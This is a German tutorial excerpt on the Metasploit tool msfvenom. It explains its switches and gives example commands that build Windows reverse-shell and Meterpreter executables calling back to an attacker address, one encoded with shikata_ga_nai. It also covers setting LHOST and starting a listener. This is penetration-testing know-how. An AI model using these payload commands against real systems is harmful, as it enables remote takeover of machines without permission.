Mit msfvenom erzeugt man eigenstaendige Payload-Dateien ausserhalb eines Exploits. Wichtige Schalter:
-p– der Payload (z. B.windows/meterpreter/reverse_tcp).-f– das Ausgabeformat, z. B.exe,elf,rawoderpython.-b– Bad-Characters, die im erzeugten Payload nicht vorkommen duerfen (z. B.-b "x00"fuer das Nullbyte).-e– ein Encoder, z. B.x86/shikata_ga_nai, mit-ifuer die Anzahl der Durchlaeufe (Iterationen).- Payload-Optionen wie
LHOSTundLPORTdirekt als Schluessel=Wert.
Beispiele
msfvenom -f exe LHOST=192.168.1.1 -p windows/meterpreter/reverse_tcp
msfvenom -f exe LHOST=192.168.1.1 -p windows/shell/reverse_tcp
msfvenom -f exe LHOST=192.168.1.1 -p windows/vncinject/reverse_tcp
Diese drei Aufrufe erzeugen funktional gleichwertige EXE-Dateien, weil bei staged Payloads jeweils nur der Stager erstellt wird – die Endstufe (Meterpreter, einfache Shell oder VNC-Einblendung) wird erst spaeter nachgeladen.
Durch eingebaute Zufaelligkeit gleicht keine erzeugte Datei exakt einer anderen – die Dateien sind nur funktional identisch, nicht Byte-fuer-Byte.
Encoder
Ein Encoder wie shikata_ga_nai codiert den Payload um. Sein primaerer Zweck ist, Bad-Characters zu vermeiden und bei jedem Lauf eine etwas andere Byte-Darstellung zu erzeugen – nicht die zuverlaessige Umgehung moderner Virenschutzloesungen, die heute deutlich weiterentwickelte Erkennung nutzen.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1
-e x86/shikata_ga_nai -i 5 -b "x00" -f exe -o payload.exe
LHOST richtig setzen
Der Wert LHOST bestimmt, wohin der Payload zurueckverbindet. Er muss zur eigenen (ggf. VPN-)Adresse passen – sonst kann die Rueckverbindung nicht aufgebaut werden. Fuer die Gegenstelle startet man einen passenden Handler, z. B. mit exploit/multi/handler.